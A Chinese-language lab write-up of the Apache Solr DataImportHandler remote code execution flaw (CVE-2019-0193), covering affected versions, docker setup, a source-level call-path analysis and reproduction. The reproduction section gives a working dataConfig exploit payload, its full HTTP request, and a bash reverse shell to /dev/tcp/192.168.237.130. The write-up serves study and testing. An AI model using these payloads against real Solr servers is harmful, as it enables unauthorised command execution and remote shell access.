Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

0x01 漏洞简介

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。

0x02 影响版本

Apache Solr < 8.2.0

0x03 环境搭建

运行漏洞环境：

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
1
2

命令执行成功后，需要等待一会，之后访问http://your-ip:8983/即可查看到Apache solr的管理页面，无需登录。

0x04 漏洞分析

需要jdk8及以上 以及 solr.cmd -f -e dih 加载example 然后solr stop -p 8983 再启动，加上 -s “C:\Solr\solr-6.4.0\example\example-DIH\solr” 要不然漏洞复现不出来。

solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Users\P\Desktop\solr-8.1.1\solr-8.1.1\example\example-DIH\solr"
1

下载源码，配置Remote即可

在org.apache.solr.core.SolrCore#execute中，用户指定的dataConfig传入DataImportHandler。

当前请求的command为full-import，因此通过maybeReloadConfiguration重新加载配置

在maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空，如果不是则通过loadDataConfig来加载

随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签，比如document，script，function，dataSource等，传入的script自定义脚本即在此处被存入script变量，递归解析完所有标签构建出DIHConfiguration对象并返回。将用户输入的dataConfig内容传到DataImporter对象的私有成员变量config（DIHConfiguration）中。
获取到配置信息后通过this.importer.runCmd()方法处理导入过程

在DataImporter#runCmd中，判断command为full-import之后，执行this.doFullImport(sw, reqParams);

在doFullImport中，首先会创建一个DocBuilder对象，DocBuilder的主要功能是从给定配置中创建Solr文档，同时会记录一些状态信息。

随后通过execute()方法会通过遍历Entity的所有元素来解析config结构，最终得到是一个EntityProcessorWrapper对象。EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用。

接着通过this.dataImporter.getStatus()判断当前数据导入是“全部导入”还是“增量导入”，两个操作对应的方法分别为doDelta()和doFullDump()，此处的操作是full-import，因此调用doFullDump()

在后续的DocBuilder#buildDocument过程中，需要对EntityProcessorWrapper进行初始化EntityProcessorWrapper#init。

在初始化的过程中，从Context里获取dataSource，后续的流程是

==> org.apache.solr.handler.dataimport.EntityProcessorWrapper#init
==> org.apache.solr.handler.dataimport.XPathEntityProcessor#init
==> org.apache.solr.handler.dataimport.ContextImpl#getDataSource()
==> org.apache.solr.handler.dataimport.DataImporter#getDataSourceInstance
1
2
3
4

在getDataSourceInstance中，从DIHConfiguration中取DataSource：

拿到DataSource的类名之后，使用DocBuilder.loadClass载入这个DataSource类。

在SolrResourceLoader#findClass 中，由于我们提供的URLDataSource不是全限定名，这里需要从一个列表中遍历查找待载入的全限定名的DataSource类，通过反射载入我们的URLDataSource类，然后新建其实例。

在读取EntityProcessorWrapper的每一个元素时，是通过epw.nextRow()调用的，它返回的是一个Map对象，进入EntityProcessorWrapper.nextRow方法

通过applyTransformer()执行转换，调用的是相应ScriptTransformer的transformRow方法。传入的是我们恶意代码中函数的名字"poc"

先初始化脚本引擎initEngine(context)。在initEngine方法中，会从context中取出脚本的语言，和具体代码。这里执行这段js代码，由于这里只是js的函数定义，所以并没有真正执行在函数中的payload。

若指定的转换器名以script:开头，则意味着使用脚本转换器（否则略过这个if流程，直接进入下面执行指定转换器的流程），则将script:后面的函数名取出，并将这个函数名设置为脚本转换器（ScriptTransformer）要执行的函数名。

Solr中默认的js引擎是Nashorn，Nashorn是在Java 8中用于取代Rhino（Java 6，Java 7）的JavaScript引擎，在js中可以通过Java.type引用Java类，就像Java的import一样，此处就可以通过这个语法导入任意Java类。 随后通过反射调用自定义的函数并执行，例如通过java.lang.Runtime执行系统命令

整个漏洞就是因为可以通过<script>标签指定ScriptTransformer，而在这个标签内可以导入任意的java类，Solr也并没有对标签内容做限制，导致可以执行任意代码。

最后调用javax.script.Invocable#invokeFunction执行我们指定的poc函数。

最终调用栈情况

0x05 漏洞复现

首先打开刚刚创建好的test核心，选择Dataimport功能并选择debug模式，填入以下POC：

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

点击Execute with this Confuguration会发送以下请求包：

POST /solr/test/dataimport?_=1670760991718&indent=on&wt=json HTTP/1.1
Host: 192.168.237.129:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 693
Origin: http://192.168.237.129:8983
Connection: close
Referer: http://192.168.237.129:8983/solr/

command=full-import&verbose=false&clean=true&commit=true&optimize=false&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
1
2
3
4
5
6
7
8
9
10
11
12
13

执行docker-compose exec solr ls /tmp，可见/tmp/success已成功创建：

利用该漏洞getshell
反弹shell到kali主机上，修改dataConfig字段，注入我们的POC，利用bash反弹shell：

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/bin/bash >& /dev/tcp/192.168.237.130 9999 0>&1");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>
1
2
3
4
5
6
7
8
9
10
11
12
13
14